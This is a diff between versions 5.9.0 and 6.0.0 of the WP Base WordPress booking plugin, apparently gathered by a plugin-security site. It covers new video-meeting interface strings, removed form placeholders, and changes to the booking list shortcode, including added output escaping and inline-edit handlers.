 					'added_to_cart'							=> __('Message displayed when an item is added to WooCommerce or EDD shopping cart. %s will be replaced with item name.', 'wp-base' ),
 					'admin'									=> __('Label for admin user', 'wp-base'),
 					'agora'									=> __('Column header of Agora for List of Bookings', 'wp-base' ),
 					'agora_already_started'					=> __('Javascript message displayed to the host when he/she is trying to start a meeting which has been already started', 'wp-base'),
 					'agora_called'							=> __('Javascript message displayed to the participant when he/she is called to the meeting by the host.','wp-base'),
+					'agora_connecting'						=> __('Message displayed above video streaming area during connection to Agora servers','wp-base'),
+					'agora_join'							=> __('Text for Join button','wp-base'),
+					'agora_leave_call'						=> __('Tooltip text for Leave Call icon','wp-base'),
 					'agora_meeting_note_host'				=> __('Default text displayed to the meeting host at the Meeting Room.','wp-base'),
 					'agora_meeting_note'					=> __('Default text about general meeting rules.','wp-base'),
 					'agora_meeting_started'					=> __('Text displayed to participant when meeting has started. Keep MEETING_LINK placeholder which will be replaced by the link to the Meeting Room page.','wp-base'),
+					'agora_no_camera'						=> __('Javascript error message displayed when no camera and/or mic found or not permitted to use','wp-base'),
+					'agora_no_other_camera'					=> __('Javascript error message displayed when no other camera found to switch to','wp-base'),
 					'agora_no_meeting'						=> __('Text displayed when user has no future or current meetings.','wp-base'),
 					'agora_start_meeting'					=> __('Label for Start Meeting link','wp-base'),
+					'agora_switch_camera'					=> __('Tooltip text for Switch Camera icon','wp-base'),
+					'agora_toggle_mic'						=> __('Tooltip text for Toggle Microphone icon','wp-base'),
+					'agora_toggle_camera'					=> __('Tooltip text for Toggle Camera icon','wp-base'),
+					'agora_switch_camera_failed'			=> __('Javascript error message diisplayed when camera switch action failed', 'wp-base'),			
 					'agora_waiting_note'					=> __('Default text for client about how meeting will start.','wp-base'),
 					'agora_waiting_note_host'				=> __('Default text for host about how meeting will start.','wp-base'),
 					'all'									=> __('Selection in provider dropdown when no particular provider is selected', 'wp-base'),
@@ -268,7 +276,6 @@
 					'checkout_button_tip'		=> __('Tooltip text for checkout button', 'wp-base' ),
 					'choose_image'				=> __('Label to select an image for service or avatar', 'wp-base'),
 					'city'						=> __('Title for City field in the confirmation form and user page','wp-base'),
-					'city_placeholder'			=> __('Placeholder for City field in the confirmation form','wp-base'),
 					'clear'						=> __('Clear signature button text', 'wp-base' ),
 					'clear_all'					=> __('Label for Clear All','wp-base'),
 					'click_for_waiting_list'	=> __('Hint text to book as Waiting List','wp-base'),
@@ -338,7 +345,6 @@
 					'edit_saved'				=> __('Javascript message displayed after changes on booking have been saved', 'wp-base' ),
 					'edit_too_early'			=> __('Javascript message displayed when client attempts to edit an appointment with a start time which falls in lead time (lower limit) margin. Keep %s which will be replaced by the latest time client can pick.','wp-base'),
 					'email'						=> __('Title for email field in the confirmation form and user page','wp-base'),
-					'email_placeholder'			=> __('Placeholder for email field in the confirmation form','wp-base'),
 					'email_unmatch'				=> __('Javascript message displayed when logged in client attempts to make a booking with email of another registered user','wp-base'),
 					'empty_cart'				=> __('Label for Empty Cart button', 'wp-base'),
 					'end'						=> __('Label for end time in confirmation form', 'wp-base' ),
@@ -367,7 +373,6 @@
 					'fee'						=> __('Label for Fee', 'wp-base'),
 					'full_name'					=> __('Title for Full Name field in the forms','wp-base'),
 					'first_name'				=> __('Title for First Name field in the confirmation form and user page','wp-base'),
-					'first_name_placeholder'	=> __('Placeholder for First Name field in the confirmation form','wp-base'),
 					'friday'					=> __('Friday', 'wp-base'),
 					'friday_initial'			=> __('Initial letter of Friday', 'wp-base'),
 					'friday_short'				=> __('Short form of Friday', 'wp-base'),
@@ -406,7 +411,6 @@
 					'language'					=> __('Label for Client Language', 'wp-base' ),
 					'lasts'						=> __('Title for Duration of the selected service(s) in the confirmation form', 'wp-base' ),
 					'last_name'					=> __('Title for Last Name field in the confirmation form and user page','wp-base'),
-					'last_name_placeholder'		=> __('Placeholder for Last Name field in the confirmation form','wp-base'),
 					'length_menu'				=> __('Localization for pulldown menu that selects the number of records to be displayed in the tables. Keep _MENU_ which stands for the pulldown menu itself.', 'wp-base'),
 					'limit_exceeded'			=> __('Javascript message displayed when selected number of appointments exceeds permitted number. Keep %d which will be replaced by actual limit', 'wp-base'),
 					'list'						=> __('Text for List Button', 'wp-base' ),
@@ -511,7 +515,6 @@
 					'mv_video'					=> __('Label for Video in user profile','wp-base'),
 					'mv_wait'					=> __('Account activation complete message. Displayed when vendor application awaits admin approval', 'wp-base' ),
 					'name'						=> __('Title for Name field in the confirmation form','wp-base'),
-					'name_placeholder'			=> __('Placeholder for Name field in the confirmation form','wp-base'),
 					'next'						=> __('Pagination button text for Next','wp-base'),
 					'next_day'					=> __('Note added to details field on confirmation form to notify a booking ending next day', 'wp-base' ),
 					'next_month'				=> __('Pagination button text for Next Month','wp-base'),
@@ -585,7 +588,6 @@
 					'pending_payment'			=> __('Text for status pending and an automatic payment via a gateway is expected', 'wp-base'),
 					'person_types'				=> __('Label for Person Types', 'wp-base' ),
 					'phone'						=> __('Title for Phone field in the confirmation form and user page','wp-base'),
-					'phone_placeholder'			=> __('Placeholder for Phone field in the confirmation form','wp-base'),
 					'please_wait'				=> __('Message displayed while submitting a form', 'wp-base' ),
 					'pm_button_text'			=> __('Private Message button text. RECIPIENT placeholder will be replaced by the display name of the other party', 'wp-base'),
 					'pop_placeholder'			=> __('Placeholder for participant phone field. %d will be replaced by the order in the list.', 'wp-base' ),
@@ -674,7 +676,6 @@
 					'standby'					=> __('Text for status stand by', 'wp-base'),
 					'start'						=> __('Label for start time in confirmation form', 'wp-base' ),
 					'state'						=> __('Title for State field in the confirmation form and user page','wp-base'),
-					'state_placeholder'			=> __('Placeholder for State field in the confirmation form','wp-base'),
 					'status'					=> __('Column header of Status for List of Bookings', 'wp-base' ),
 					'store'						=> __('Label for Store', 'wp-base' ),
 					'stores'					=> __('Label for Stores', 'wp-base' ),
@@ -696,7 +697,8 @@
 					'timezone'					=> __('Label for Time Zone', 'wp-base'),
 					'timezone_title'			=> __('Title of Time Zone selection pulldown menu', 'wp-base'),
 					'today'						=> __('Button text for Today in Schedules', 'wp-base' ),
-					'too_late'					=> __('Javascript message displayed when client attempts to cancel/edit/add an appointment, but it is too late','wp-base'),
+					'too_early'					=> __('Javascript message or tooltip text displayed when it is early to edit a booking','wp-base'),
+					'too_late'					=> __('Javascript message or tooltip text displayed when client attempts to cancel/edit/add a booking, but it is too late','wp-base'),
 					'too_less'					=> __('Javascript message displayed when selected number of appointments is less than the permitted number. Keep %d which will be replaced by actual limit', 'wp-base'),
 					'total_paid'				=> __('Column header of Total Paid amount for List of Bookings', 'wp-base'),
 					'trial_service_limit'		=> __('Javascript error message when client attempts to select a time slot which would exceed trial limit. Keep LIMIT placeholder which will be replaced by set limit value.', 'wp-base'),
@@ -737,7 +739,6 @@
 					'yes'						=> __('Translation for Yes, e.g. to show a check box is checked','wp-base'),
 					'your_price'				=> __('Label for Your Rate field in user profile. The same for hourly and fixed rates.','wp-base'),
 					'zip'						=> __('Title for Postcode field in the confirmation form and user page','wp-base'),
-					'zip_placeholder'			=> __('Placeholder for Postcode field in the confirmation form','wp-base'),
 					'zoom'						=> __('Column header of Zoom for List of Bookings', 'wp-base' ),
 					'zoom_id'					=> __('Meeting ID label in List of Bookings','wp-base'),
 					'zoom_join'					=> __('Button label for Join to Meeting','wp-base'),
@@ -781,18 +782,26 @@
 		$this->default_texts = array(
 			'action'								=> __('Action', 'wp-base' ),
 			'address'								=> __('Address','wp-base'),
-			'address_placeholder'					=> '&nbsp;',
 			'add_to_cart'							=> __('Add to Cart', 'wp-base'),
 			'added_to_cart'							=> __( '%s has been added to your shopping cart.', 'wp-base' ),
 			'admin'									=> __('Admin', 'wp-base'),
 			'agora'									=> __('Agora', 'wp-base' ),
 			'agora_already_started'					=> __('This meeting has already started.', 'wp-base'),
 			'agora_called'							=> __('Meeting has been started by the host and you are being called. Please confirm to join the meeting.','wp-base'),
+			'agora_connecting'						=> __('Connecting...','wp-base'),
+			'agora_join'							=> __('Join','wp-base'),
+			'agora_leave_call'						=> __('Leave Call','wp-base'),
 			'agora_meeting_note'					=> __('&nbsp;','wp-base'),
-			'agora_meeting_note_host'				=> __('You can start by clicking START_MEETING link immediately. If you do so, participant will be able to attend to the meeting even before meeting time arrives.','wp-base'),
+			'agora_meeting_note_host'				=> __('You can start by clicking START_MEETING link immediately. If you do so, participant will be able to attend to the meeting even before the scheduled meeting time.','wp-base'),
 			'agora_meeting_started'					=> __('Meeting already started. Please click MEETING_ROOM to join.','wp-base'),
+			'agora_no_camera'						=> __('Could not access microphone and/or camera. Please check permissions','wp-base'),
+			'agora_no_other_camera'					=> __('Could not find another camera to switch to','wp-base'),
 			'agora_no_meeting'						=> __('You don\'t have any upcoming or running meetings.','wp-base'),
 			'agora_start_meeting'					=> __('Start Meeting','wp-base'),
+			'agora_switch_camera'					=> __('Switch Camera','wp-base'),
+			'agora_toggle_mic'						=> __('Toggle Microphone','wp-base'),
+			'agora_toggle_camera'					=> __('Toggle Camera','wp-base'),
+			'agora_switch_camera_failed'			=> __('Failed to switch camera', 'wp-base'),
 			'agora_waiting_note'					=> __('When countdown expires, you will be redirected to the Meeting Room. Please keep this page open until then.','wp-base'),
 			'agora_waiting_note_host'				=> __('You are the host of this meeting. You can click MEETING_ROOM to go to the Meeting Room, or wait here. If you prefer to stay, when countdown expires, you will be redirected to the Meeting Room. Please keep this page open until then.','wp-base'),
 			'all'									=> __('All', 'wp-base'),
@@ -823,7 +832,7 @@
 			'blacklisted'							=> __('We are sorry, but the provided email cannot be accepted. Please contact website admin for details.', 'wp-base'),
 			'booking'								=> __('Processing booking...','wp-base'),
 			'booking_id'							=> __('Booking','wp-base'),
-			'booking_approved'						=> __( 'Selected booking approved', 'wp-base' ),
+			'booking_approved'						=> __('Selected booking approved', 'wp-base' ),
 			'booking_closed'						=> __('Booking closed',	'wp-base'),
 			'book_now_long'							=> __('Book Now for START', 'wp-base'),
 			'book_now_short'						=> __('Book Now', 'wp-base'),
@@ -905,7 +914,6 @@
 			'choose_image'				=> __('Choose Image', 'wp-base'),
 			'checkout_button_tip'		=> __('Click to submit', 'wp-base' ),
 			'city'						=> __('City','wp-base'),
-			'city_placeholder'			=> '&nbsp;',
 			'clear'						=> __('Clear', 'wp-base' ),
 			'clear_all'					=> __('Clear All', 'wp-base' ),
 			'click_for_waiting_list'	=> __('Click to add to Waiting List','wp-base'),
@@ -936,7 +944,6 @@
 			'continue_button'			=> __('Add Another Slot', 'wp-base'),
 			'countdown_title'			=> __('Your next appointment', 'wp-base'),
 			'country'					=> __('Country','wp-base'),
-			'country_placeholder'		=> '&nbsp;',
 			'coupon'					=> __('Discount Code', 'wp-base'),
 			'coupon_invalid'			=> __('Code is invalid', 'wp-base'),
 			'coupon_valid'				=> __('Code is valid', 'wp-base'),
@@ -969,13 +976,14 @@
 			'duration'					=> __('Duration', 'wp-base'),
 			'edd_payment'				=> __('EDD', 'wp-base'),
 			'edit'						=> __('Edit', 'wp-base'),
-			'edit_app_confirm'			=> __('You are about to edit an existing appointment. Click OK to continue.','wp-base'),
+			'edit_app_confirm'			=> __('You are about to edit an existing booking. Click OK to continue.','wp-base'),
 			'edit_button'				=> __('Edit','wp-base'),
 			'edit_disabled'				=> __('Editing of bookings is disabled. Please contact website admin.','wp-base'),
+			'edit_error'				=> __('% parameter of the booking cannot be edited.','wp-base'),
 			'edit_saved'				=> __('Booking successfully changed.', 'wp-base' ),
+			'edit_status_error'			=> __('Bookings in this stage cannot be edited.','wp-base'),
 			'edit_too_early'			=> __('New time of the booking is too close. Please select a time later than %s.','wp-base'),
 			'email'						=> __('Email','wp-base'),
-			'email_placeholder'			=> '&nbsp;',
 			'email_unmatch'				=> __('Submitted email does not belong to you','wp-base'),
 			'empty_cart'				=> __('Empty Cart', 'wp-base'),
 			'end'						=> __('End', 'wp-base'),
@@ -1006,7 +1014,6 @@
 			'fee'						=> __('Fee', 'wp-base'),
 			'full_name'					=> __('Full Name','wp-base'),
 			'first_name'				=> __('First Name','wp-base'),
-			'first_name_placeholder'	=> '&nbsp;',
 			'friday'					=> $method_exists ? $wp_locale->get_weekday( 5 ) : 'Friday',
 			'friday_initial'			=> $method_exists ? $wp_locale->get_weekday_initial( $wp_locale->get_weekday( 5 ) ) : 'F',
 			'friday_short'				=> $method_exists ? $wp_locale->get_weekday_abbrev( $wp_locale->get_weekday( 5 ) ) : 'Fr',
@@ -1036,7 +1043,7 @@
 			'jitsi_already_started'		=> __('This meeting has already started.', 'wp-base'),
 			'jitsi_called'				=> __('Meeting has been started by the host and you are being called. Please confirm to join the meeting.','wp-base'),
 			'jitsi_meeting_note'		=> __('&nbsp;','wp-base'),
-			'jitsi_meeting_note_host'	=> __('You can start by clicking START_MEETING link immediately. If you do so, participant will be able to attend to the meeting even before meeting time arrives.','wp-base'),
+			'jitsi_meeting_note_host'	=> __('You can start by clicking START_MEETING link immediately. If you do so, participant will be able to attend to the meeting even before the scheduled meeting time.','wp-base'),
 			'jitsi_meeting_started'		=> __('Meeting already started. Please click MEETING_ROOM to join.','wp-base'),
 			'jitsi_no_meeting'			=> __('You don\'t have any upcoming or running meetings.','wp-base'),
 			'jitsi_start_meeting'		=> __('Start Meeting','wp-base'),
@@ -1045,7 +1052,6 @@
 			'language'					=> __('Language', 'wp-base' ),
 			'lasts'						=> __('Lasts', 'wp-base' ),
 			'last_name'					=> __('Last Name','wp-base'),
-			'last_name_placeholder'		=> '&nbsp;',
 			'length_menu'				=> __('Display _MENU_ records', 'wp-base'),
 			'limit_exceeded'			=> __('Number of time slot limit (%d) has been reached.', 'wp-base'),
 			'list'						=> __('List', 'wp-base' ),
@@ -1061,7 +1067,7 @@
 			'logged_message'			=> __('Click a free day to apply for an appointment.', 'wp-base'),
 			'logging_in'				=> __('Preparing login...','wp-base'),
 			'login'						=> __('Login', 'wp-base'),
-			'login_for_cancel'			=> __('Please login in order to cancel the appointment','wp-base'),
+			'login_for_cancel'			=> __('Please login in order to cancel the booking','wp-base'),
 			'login_for_confirm'			=> __('Please login in order to confirm the booking','wp-base'),
 			'login_for_edit'			=> __('Please login in order to edit the booking','wp-base'),
 			'login_message'				=> __('Click here to login:', 'wp-base' ),
@@ -1081,6 +1087,7 @@
 			'min_short'					=> __('min','wp-base'),
 			'missing_extra'				=> __('Please select at least one option from the list','wp-base'),
 			'missing_field'				=> __('Please fill in the required field','wp-base'),
+			'missing_id'				=> __('Missing booking ID or service','wp-base'),
 			'missing_terms_check'		=> __('Please accept Terms and Conditions','wp-base'),
 			'monday'					=> $method_exists ? $wp_locale->get_weekday( 1 ) : 'Monday',
 			'monday_initial'			=> $method_exists ? $wp_locale->get_weekday_initial( $wp_locale->get_weekday( 1 ) ) : 'M',
@@ -1149,7 +1156,6 @@
 			'mv_video'					=> __('Video','wp-base'),
 			'mv_wait'					=> __('Please wait until you receive an email from us about the result of your vendor application.', 'wp-base' ),
 			'name'						=> __('Name','wp-base'),
-			'name_placeholder'			=> '&nbsp;',
 			'next'						=> __('Next','wp-base'),
 			'next_day'					=> __('Ends next day', 'wp-base' ),
 			'next_month'				=> __('Next Month','wp-base'),
@@ -1220,7 +1226,6 @@
 			'pending_payment'			=> __('Pending Payment', 'wp-base'),
 			'person_types'				=> __('Pax Details', 'wp-base' ),
 			'phone'						=> __('Phone','wp-base'),
-			'phone_placeholder'			=> '&nbsp;',
 			'please_wait'				=> __('Please Wait...', 'wp-base' ),
 			'pm_button_text'			=> __('PM to RECIPIENT', 'wp-base'),
 			'pop_placeholder'			=> __('Phone of the %d. guest', 'wp-base' ),
@@ -1243,6 +1248,7 @@
 			'provider_name'				=> __('Specialist', 'wp-base' ),
 			'provider_names'			=> __('Specialists', 'wp-base' ),
 			'quota'						=> __('Sorry, but you have reached the booking quota. No additional bookings are allowed.', 'wp-base'),
+			'read_more'					=> __('Read More »','wp-base'),
 			'reading'					=> __('Reading data...','wp-base'),
 			'redirect'					=> __('Login required for this action. Now you will be redirected to login page.', 'wp-base' ),
 			'reference'					=> __('Reference','wp-base'),
@@ -1309,7 +1315,6 @@
 			'standby'					=> __('Stand by', 'wp-base'),
 			'start'						=> __('Start', 'wp-base'),
 			'state'						=> __('State','wp-base'),
-			'state_placeholder'			=> '&nbsp;',
 			'status'					=> __('Status', 'wp-base' ),
 			'store_page'				=> __('Store Page', 'wp-base' ),
 			'store'						=> __('Store', 'wp-base' ),
@@ -1331,7 +1336,8 @@
 			'timezone'					=> __('Time Zone', 'wp-base'),
 			'timezone_title'			=> __('Select your timezone', 'wp-base'),
 			'today'						=> __('Today', 'wp-base' ),
-			'too_late'					=> __('We are sorry, but it is too late for this action.','wp-base'),
+			'too_early'					=> __('It is too early for this action.','wp-base'),
+			'too_late'					=> __('It is too late for this action.','wp-base'),
 			'too_less'					=> __('You should select at least %d time slots to proceed.', 'wp-base'),
 			'total_paid'				=> __('Paid', 'wp-base'),
 			'trial_service_limit'		=> __('You have exceeded trial services limit LIMIT', 'wp-base'),
@@ -1372,7 +1378,6 @@
 			'yes'						=> __('Yes','wp-base'),
 			'your_price'				=> __('Your Rate','wp-base'),
 			'zip'						=> __('Postcode','wp-base'),
-			'zip_placeholder'			=> '&nbsp;',
 			'zoom'						=> __('Zoom', 'wp-base' ),
 			'zoom_id'					=> __('Zoom ID','wp-base'),
 			'zoom_join'					=> __('Join','wp-base'),
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/freeons/categories/categories.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/freeons/categories/categories.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/freeons/categories/categories.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/freeons/categories/categories.php	2026-03-10 03:42:22.000000000 +0000
@@ -46,7 +46,6 @@
 	public function add_hooks(){

 		add_action( 'init', array( $this, 'init' ) );

 		add_filter( 'app_conf_form_fields',	array( $this, 'conf_form_fields' ) );				// Add category to definition of fields

-		add_filter( 'app_confirmation_before_service', array( $this, 'confirmation' ), 20, 3 );	// Add to confirmation form

 		add_filter( 'app_pre_confirmation_reply', array( $this, 'pre_confirmation' ), 20, 2 );

 		add_filter( 'app_email_replace_pre', array( $this, 'email_replace' ), 10, 3 );

 

@@ -81,17 +80,11 @@
 	}

 

 	/**

-	* Add location to confirmation form

+	* Add location to confirmation form - DEPRECATED

 	* @since 2.0

+	* @until WP Base 6.0

 	*/

 	public function confirmation( $ret, $app_id, $editing ) {

-		if ( wpb_is_hidden( 'category' ) ) {

-			return $ret;

-		}

-

-		$ret .= '<div class="app-conf-category">';

-		$ret .= '</div>';

-

 		return $ret;

 	}

 

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/freeons: front-end-edit.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/freeons/test-bookings.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/freeons/test-bookings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/freeons/test-bookings.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/freeons/test-bookings.php	2026-03-10 03:42:22.000000000 +0000
@@ -6,8 +6,8 @@
  * ID: 706

  * Category: Free

  * Author: Hakan Ozevin

- * Version: 5.1.1

- * WPB requires: 5.1.0

+ * Version: 5.2.0

+ * WPB requires: 5.8.0

  *

  * Copyright © 2018-2022 Hakan Ozevin

  * @package WP BASE

@@ -87,9 +87,9 @@
 		add_action( 'wp_ajax_test_service_changed', array( $this, 'service_changed' ) ); 			// Update provider field by ajax

 

 		add_filter( 'app_statuses', array( $this, 'get_statuses' ), 30 );							// Modify array of statuses

-		add_filter( 'app_edit_allowed_status', array( $this, 'allowed_statuses' ), 16, 3 );			// Modify allowed edit/cancel statuses

-		add_filter( 'app_cancel_allowed_status', array( $this, 'allowed_statuses' ), 16, 3 );		// Modify allowed edit/cancel statuses

-		add_filter( 'app_list_status', array( $this, 'listing_statuses' ), 16, 1 );					// Modify default statuses of Listing shortcode

+		add_filter( 'app_edit_allowed_status', array( $this, 'allowed_statuses' ), 16 );			// Modify allowed edit/cancel statuses

+		add_filter( 'app_cancel_allowed_status', array( $this, 'allowed_statuses' ), 16 );			// Modify allowed edit/cancel statuses

+		add_filter( 'app_list_status', array( $this, 'listing_statuses' ), 16 );					// Modify default statuses of Listing shortcode

 		add_filter( 'app_reserved_status_query', array( $this, 'status_query' ), 16, 2 );			// Modify reserved statuses query

 		add_filter( 'app_admin_apps_sql', array( $this, 'admin_apps_sql' ), 16, 5 );				// Modify admin side query to display test bookings

 		add_filter( 'app_admin_apps_where', array( $this, 'admin_apps_where' ), 16, 2 );			// Modify admin side query to filter test bookings

@@ -103,7 +103,7 @@
      * Modify all statuses array and add test status inside

      */

 	public function get_statuses( $s ) {

-		$s['test'] = $this->a->get_text('test');

+		$s['test'] = wpb_get_text('test');

 		return $s;

 	}

 

@@ -111,7 +111,7 @@
      * Modify allowed statuses array and add test status inside

 	 * @return array

      */

-	public function allowed_statuses( $statuses, $app_id, $args ) {

+	public function allowed_statuses( $statuses ) {

 		$statuses[] = 'test';

 		return $statuses;

 	}

@@ -623,7 +623,7 @@
 	public function service_changed() {

 		if ( ! isset( $_POST['test_service'] ) ) {

 			$error = WpBDebug::is_debug()

-					? $this->a->get_text('error')

+					? wpb_get_text('error')

 					: sprintf( __('POST["test_service"] is empty in %1$s line %2$d in version %3$s','wp-base'),

 						basename(__FILE__),

 						__LINE__,

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front-listing.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front-listing.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/front-listing.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/front-listing.php	2026-03-10 03:42:22.000000000 +0000
@@ -22,6 +22,10 @@
 	private $args_arr = array();

 

 	private $current_id = '';

+	

+	private $client_data = array();

+	

+	public $assets_called;

 

 	/**

      * WP BASE Core + Front [+Admin] instance

@@ -40,10 +44,55 @@
      */

 	public function add_hooks() {

 		add_shortcode( 'app_list', array( $this,'display' ) );

+		add_filter( 'the_posts', array( $this, 'maybe_load_assets' ), 16 );

 		add_action( 'wp_ajax_app_prepare_print', array( $this, 'prepare_print' ) );

 		add_action( 'wp_ajax_nopriv_app_prepare_print', array( $this, 'prepare_print' ) );

 		add_action( 'wp_ajax_app_show_children_in_tooltip', array( $this, 'show_children_in_tooltip' ) );

 		add_action( 'wp_ajax_nopriv_app_show_children_in_tooltip', array( $this, 'show_children_in_tooltip' ) );

+		add_action( 'wp_ajax_app_listing_edit', 'wpb_listing_inline_edit' );

+		add_action( 'wp_ajax_app_listing_update', 'wpb_listing_inline_edit_update' );

+		add_action( 'wp_ajax_app_listing_save', 'wpb_listing_inline_edit_save' );

+		

+		// add_action( 'init', array( $this, 'handle_edit' ), 200 );									// Handle editing via link		

+	}

+

+	/**

+	 * Check if we will add css files and Ensure that they are loaded last

+	 */

+	public function maybe_load_assets( $posts ) {

+

+		foreach ( $posts as $post ) {

+		

+			if ( is_object( $post ) && has_shortcode( $post->post_content, 'app_list' ) ) {

+				$this->request_assets();

+				break;

+			}

+		}

+

+		return $posts;

+	}

+

+	public function request_assets(){

+		add_filter( 'app_is_admin_page', '__return_true' );

+		add_filter( 'app_requires_front', '__return_true' );

+		add_filter( 'app_can_use_dialog', '__return_false' );

+		add_action( 'wp_enqueue_scripts', array( $this, 'load_assets' ), 14 );

+	}

+

+	/**

+	 * Load js and css files

+	 */

+	public function load_assets( ) {

+		if ( ! empty( $this->assets_called ) ) {

+			return;

+		}

+

+		wp_enqueue_style( 'wp-base-admin-front', WPB_PLUGIN_URL . '/css/front-admin.css', array(), WPB_VERSION );

+		add_action( 'wp_print_styles', array( BASE('Assets'), 'load_admin_css' ), 12 );

+		add_action( 'wp_enqueue_scripts', array( BASE('Assets'), 'load_admin' ), 16 );

+		remove_action( 'wp_enqueue_scripts', array( BASE('Assets'), 'load_front' ), 20 );

+

+		$this->assets_called = true;

 	}

 

 	/**

@@ -55,6 +104,10 @@
 		$allowed = array( 'id','created','location','location_address','service','worker','owner','client','email','phone','city','address',

 						'zip','country','note','price','date_time','end_date_time','date','day','time','status','pdf','balance',

 						'deposit','total_paid', 'security', 'fee', 'woocommerce_order_id', 'timezone', 'language', 'client_ip', );

+						

+		if ( wpb_edit_can_override( $args ) || wpb_can_worker_edit() || wpb_can_client_edit() ) {

+			$allowed[] = 'edit';

+		}						

 

 		# Filter pdf, paypal depending on existence of addons

 		$allowed = array_flip( $allowed );

@@ -67,6 +120,22 @@
 	}

 	

 	/**

+     * Add Editing Panel HTML to the page & call scripts

+	 * @since 6.0

+	 * @return string

+     */

+	public function render_panel() {

+	

+		wp_enqueue_script( 'app-schedules' );

+		

+		ob_start();

+	

+		wpb_editing_panel_html();

+		

+		return ob_get_clean();

+	}	

+

+	/**

 	 * Shortcode showing user's or worker's, or all appointments

 	 * @since 2.0

 	 */

@@ -125,8 +194,8 @@
 		if ( empty( $statuses ) ) {

 			return WpBDebug::debug_text( __('Check "status" parameter in List shortcode','wp-base') ) ;

 		}

-		

-		wpb_add_action_footer( $this );

+

+		wpb_add_action_footer( $this, 1000 );

 

 		$can_edit		= wpb_current_user_can( $cap );

 		$stat			= wpb_listing_stat_sql( $statuses );

@@ -157,11 +226,11 @@
 			} else {

 				$q 	= $this->worker_sql( $what, $cap, $user_id );

 				$event_sql = wpb_listing_event_sql( $user_id );

-				

+

 				$query = " SELECT * FROM " . $this->a->app_table .

 						 " WHERE ({$q} OR {$event_sql}) AND ({$stat}) AND {$datetime_sql} AND ({$service_sql})

  						  ORDER BY ". $this->a->sanitize_order_by( $order_by );

-						  

+

 				$results = $this->a->db->get_results( $query, OBJECT_K  );

 			}

 		} else if ( 'all' == $what ) {

@@ -184,14 +253,16 @@
 		$hard_limit 	= false;

 		$this->colspan	= 0;

 

-		$ret  = '';

-		$ret .= '<div class="app-sc app-list-wrapper table-responsive">';

-		

+		$ret  = '<div class="wrap app-front-admin app-clearfix">';

+		$ret .= '<div class="app-sc app-manage app-form app-list-wrapper table-responsive">';

+

 		if ( apply_filters( 'app_list_show_print', true, $args ) ) {

 			$ret .= '<div class="app-print-list-wrap"><span class="dashicons dashicons-printer app-ml10"></span>';

 			$ret .= '<a href="javascript:void(0)" class="app-print-list app-ml10 app-b" data-print_target="">'. esc_html( __( 'Print All', 'wp-base' ) ) .'</a></div>';

 		}

 		

+		$ret .= self::render_panel();

+

 		$ret  = apply_filters( 'app_list_before_table', $ret, $args );

 		$ret .= '<table style="width:100%" data-args="'.wpb_esc_json( wp_json_encode( $args ) ).'" id="'.esc_attr($id).'" class="app-list dt-responsive display dataTable nowrap">';

 		$ret .= '<caption>'. $this->title( $title, $what, $cap, $user_id ). '</caption>';

@@ -229,7 +300,7 @@
 

 				$no_results = false;

 

-				$ret .= '<tr id="app-tr-'.$r->ID.'" class="app-service-'.$r->service.' app-worker-'.$r->worker.'">';

+				$ret .= '<tr id="app-tr-'.esc_attr($r->ID).'" data-app_id="'.esc_attr($r->ID).'" class="app-service-'.esc_attr($r->service).' app-worker-'.esc_attr($r->worker).'">';

 

 				foreach( $cols as $col ) {

 

@@ -241,7 +312,17 @@
 						continue;

 					}

 

-					$ret .= '<td class="'.$col.'-app-mng">';

+					if ( 'client' == $col ) {

+						$order = $this->client_raw_name( $r->ID, $r );

+					} else if ( 'end_date_time' == $col ) {

+						$order = $r->end;

+					} else if ( in_array( $col, array('date_time', 'date', 'day', 'time') ) ) {

+						$order = $r->start;

+					} else {

+						$order = '';

+					}

+

+					$ret .= '<td class="'.$col.'-app-mng"'.($order ? ' data-order="'. esc_attr( $order ) .'"' : '').'>';

 					$ret .= $this->table_cell( $col, $r, $args );

 					$ret .= '</td>';

 

@@ -274,11 +355,40 @@
 

 		$ret  = apply_filters( 'app_list_table', $ret, $args, $results );

 		$ret .= '</div>';

+		$ret .= '</div>';

 

 		return $ret;

 	}

 

 	/**

+	 * Find client name from booking without HTML

+	 * @since 6.0.0

+	 * @return string

+	 */

+	private function client_raw_name( $app_id, $r ) {

+		if ( isset( $this->client_data[ $app_id ] ) ) {

+			return $this->client_data[ $app_id ]['raw_name'];

+		} else {

+			$this->client_data[ $app_id ] = BASE('User')->get_client_name( $app_id, $r, 'full' );

+			return $this->client_data[ $app_id ]['raw_name'];

+		}

+	}

+

+	/**

+	 * Find client name from booking with HTML

+	 * @since 6.0.0

+	 * @return string

+	 */

+	private function client_name( $app_id, $r ) {

+		if ( isset( $this->client_data[ $app_id ] ) ) {

+			return $this->client_data[ $app_id ]['name'];

+		} else {

+			$this->client_data[ $app_id ] = BASE('User')->get_client_name( $app_id, $r, 'full' );

+			return $this->client_data[ $app_id ]['name'];

+		}

+	}

+

+	/**

 	 * Print script

 	 * @return none

 	 */

@@ -295,7 +405,7 @@
 			args: JSON.stringify(args),

 			ajax_nonce: _app_.iedit_nonce

 		};

-		

+

 		$.infoPanel("please_wait");

 

 		$.post(_app_.ajax_url, data, function (r) {

